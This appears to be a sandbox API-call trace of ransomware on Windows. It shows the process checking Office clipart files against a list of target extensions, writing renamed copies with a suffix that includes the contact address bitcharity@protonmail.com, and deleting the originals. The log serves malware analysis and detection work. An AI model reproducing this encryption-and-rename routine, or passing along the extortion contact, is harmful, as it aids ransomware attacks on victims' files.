[0148.668] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.668] lstrlenW (lpString=".pdf") returned 4 [0148.668] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.668] lstrlenW (lpString=".xls") returned 4 [0148.668] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.668] lstrlenW (lpString=".xlsx") returned 5 [0148.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.668] lstrlenW (lpString=".ppt") returned 4 [0148.668] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.668] lstrlenW (lpString=".zip") returned 4 [0148.668] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.668] lstrlenW (lpString=".rar") returned 4 [0148.668] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.668] lstrlenW (lpString=".bz2") returned 4 [0148.668] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.668] lstrlenW (lpString=".7z") returned 3 [0148.668] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.668] lstrlenW (lpString=".dbf") returned 4 [0148.668] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.668] lstrlenW (lpString=".1cd") returned 4 [0148.669] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.669] lstrlenW (lpString=".jpg") returned 4 [0148.669] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.669] lstrlenW (lpString=".doc") returned 4 [0148.669] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.669] lstrlenW (lpString=".docx") returned 5 [0148.669] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.669] lstrlenW (lpString=".pdf") returned 4 [0148.669] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.669] lstrlenW (lpString=".xls") returned 4 [0148.669] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.670] lstrlenW (lpString=".xlsx") returned 5 [0148.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.670] lstrlenW (lpString=".ppt") returned 4 [0148.670] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.670] lstrlenW (lpString=".zip") returned 4 [0148.670] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.670] lstrlenW (lpString=".rar") returned 4 [0148.670] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.670] lstrlenW (lpString=".bz2") returned 4 [0148.670] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.670] lstrlenW (lpString=".7z") returned 3 [0148.670] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.670] lstrlenW (lpString=".dbf") returned 4 [0148.670] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.670] lstrlenW (lpString=".1cd") returned 4 [0148.670] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.670] lstrlenW (lpString=".jpg") returned 4 [0148.671] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.671] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.671] lstrlenW (lpString="AG00038_.GIF") returned 12 [0148.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.678] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3251) returned 1 [0148.678] CloseHandle (hObject=0x10b4) returned 1 [0148.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0148.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0148.691] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.691] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0148.707] GetLastError () returned 0x0 [0148.707] ReadFile (in: hFile=0x10e4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xcb3, lpOverlapped=0x0) returned 1 [0148.724] WriteFile (in: hFile=0x10e8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0148.725] ReadFile (in: hFile=0x10e4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.725] WriteFile (in: hFile=0x10e8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.725] SetEndOfFile (hFile=0x10e8) returned 1 [0148.726] CloseHandle (hObject=0x10e8) returned 1 [0148.729] SetFilePointerEx (in: hFile=0x10e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.729] SetEndOfFile (hFile=0x10e4) returned 1 [0148.730] CloseHandle (hObject=0x10e4) returned 1 [0148.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.802] lstrlenW (lpString=".doc") returned 4 [0148.802] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.802] lstrlenW (lpString=".docx") returned 5 [0148.802] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.802] lstrlenW (lpString=".pdf") returned 4 [0148.802] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.802] lstrlenW (lpString=".xls") returned 4 [0148.802] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.802] lstrlenW (lpString=".xlsx") returned 5 [0148.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.802] lstrlenW (lpString=".ppt") returned 4 [0148.802] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.803] lstrlenW (lpString=".zip") returned 4 [0148.803] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.803] lstrlenW (lpString=".rar") returned 4 [0148.803] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.803] lstrlenW (lpString=".bz2") returned 4 [0148.803] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.803] lstrlenW (lpString=".7z") returned 3 [0148.803] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.803] lstrlenW (lpString=".dbf") returned 4 [0148.803] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.803] lstrlenW (lpString=".1cd") returned 4 [0148.803] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.803] lstrlenW (lpString=".jpg") returned 4 [0148.803] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.803] lstrlenW (lpString=".doc") returned 4 [0148.803] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.803] lstrlenW (lpString=".docx") returned 5 [0148.803] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.803] lstrlenW (lpString=".pdf") returned 4 [0148.803] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.803] lstrlenW (lpString=".xls") returned 4 [0148.803] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.803] lstrlenW (lpString=".xlsx") returned 5 [0148.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.803] lstrlenW (lpString=".ppt") returned 4 [0148.804] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.804] lstrlenW (lpString=".zip") returned 4 [0148.804] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.804] lstrlenW (lpString=".rar") returned 4 [0148.804] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.804] lstrlenW (lpString=".bz2") returned 4 [0148.804] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.804] lstrlenW (lpString=".7z") returned 3 [0148.804] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.804] lstrlenW (lpString=".dbf") returned 4 [0148.804] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.804] lstrlenW (lpString=".1cd") returned 4 [0148.804] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68 [0148.804] lstrlenW (lpString=".jpg") returned 4 [0148.804] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.804] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.804] lstrlenW (lpString="AG00090_.GIF") returned 12 [0148.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.806] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=517) returned 1 [0148.806] CloseHandle (hObject=0x10c0) returned 1 [0148.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0148.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.807] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.807] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0148.808] GetLastError () returned 0x0 [0148.808] ReadFile (in: hFile=0x10c0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x205, lpOverlapped=0x0) returned 1 [0148.809] WriteFile (in: hFile=0x108c, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x210, lpOverlapped=0x0) returned 1 [0148.810] ReadFile (in: hFile=0x10c0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.810] WriteFile (in: hFile=0x108c, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.810] SetEndOfFile (hFile=0x108c) returned 1 [0148.811] CloseHandle (hObject=0x108c) returned 1 [0148.813] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.813] SetEndOfFile (hFile=0x10c0) returned 1 [0148.814] CloseHandle (hObject=0x10c0) returned 1 [0148.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.815] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0148.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.815] lstrlenW (lpString=".doc") returned 4 [0148.815] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.815] lstrlenW (lpString=".docx") returned 5 [0148.815] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.815] lstrlenW (lpString=".pdf") returned 4 [0148.815] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.815] lstrlenW (lpString=".xls") returned 4 [0148.815] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.815] lstrlenW (lpString=".xlsx") returned 5 [0148.815] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.815] lstrlenW (lpString=".ppt") returned 4 [0148.815] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.816] lstrlenW (lpString=".zip") returned 4 [0148.816] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.816] lstrlenW (lpString=".rar") returned 4 [0148.816] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.816] lstrlenW (lpString=".bz2") returned 4 [0148.816] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.816] lstrlenW (lpString=".7z") returned 3 [0148.816] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.816] lstrlenW (lpString=".dbf") returned 4 [0148.816] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.816] lstrlenW (lpString=".1cd") returned 4 [0148.816] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.816] lstrlenW (lpString=".jpg") returned 4 [0148.816] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.817] lstrlenW (lpString=".doc") returned 4 [0148.817] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.817] lstrlenW (lpString=".docx") returned 5 [0148.817] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.817] lstrlenW (lpString=".pdf") returned 4 [0148.817] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.817] lstrlenW (lpString=".xls") returned 4 [0148.817] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0148.817] lstrlenW (lpString=".xlsx") returned 5 [0148.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0148.817] lstrlenW (lpString=".ppt") returned 4 [0148.817] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.817] lstrlenW (lpString=".zip") returned 4 [0148.817] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0148.817] lstrlenW (lpString=".rar") returned 4 [0148.817] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0148.817] lstrlenW (lpString=".bz2") returned 4 [0148.817] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0148.817] lstrlenW (lpString=".7z") returned 3 [0148.817] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.817] lstrlenW (lpString=".dbf") returned 4 [0148.817] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.817] lstrlenW (lpString=".1cd") returned 4 [0148.817] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0148.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0148.818] lstrlenW (lpString=".jpg") returned 4 [0148.818] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0148.818] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.818] lstrlenW (lpString="AG00092_.GIF") returned 12 [0148.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.818] GetFileSizeEx (in: hFile=0x10c0, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=502) returned 1 [0148.819] CloseHandle (hObject=0x10c0) returned 1 [0148.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 0x220 [0148.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0148.819] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.819] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x108c [0148.820] GetLastError () returned 0x0 [0148.820] ReadFile (in: hFile=0x10c0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1f6, lpOverlapped=0x0) returned 1 [0148.822] WriteFile (in: hFile=0x108c, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x200, lpOverlapped=0x0) returned 1 [0148.823] ReadFile (in: hFile=0x10c0, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.823] WriteFile (in: hFile=0x108c, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.823] SetEndOfFile (hFile=0x108c) returned 1 [0148.824] CloseHandle (hObject=0x108c) returned 1 [0148.833] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.833] SetEndOfFile (hFile=0x10c0) returned 1 [0148.834] CloseHandle (hObject=0x10c0) returned 1 [0148.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0148.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0148.835] lstrlenW (lpString=".doc") returned 4 [0148.835] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.835] lstrlenW (lpString=".docx") returned 5 [0148.835] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0148.835] lstrlenW (lpString=".pdf") returned 4 [0148.835] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0148.835] lstrlenW (lpString=".xls") returned 4 [0148.835] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 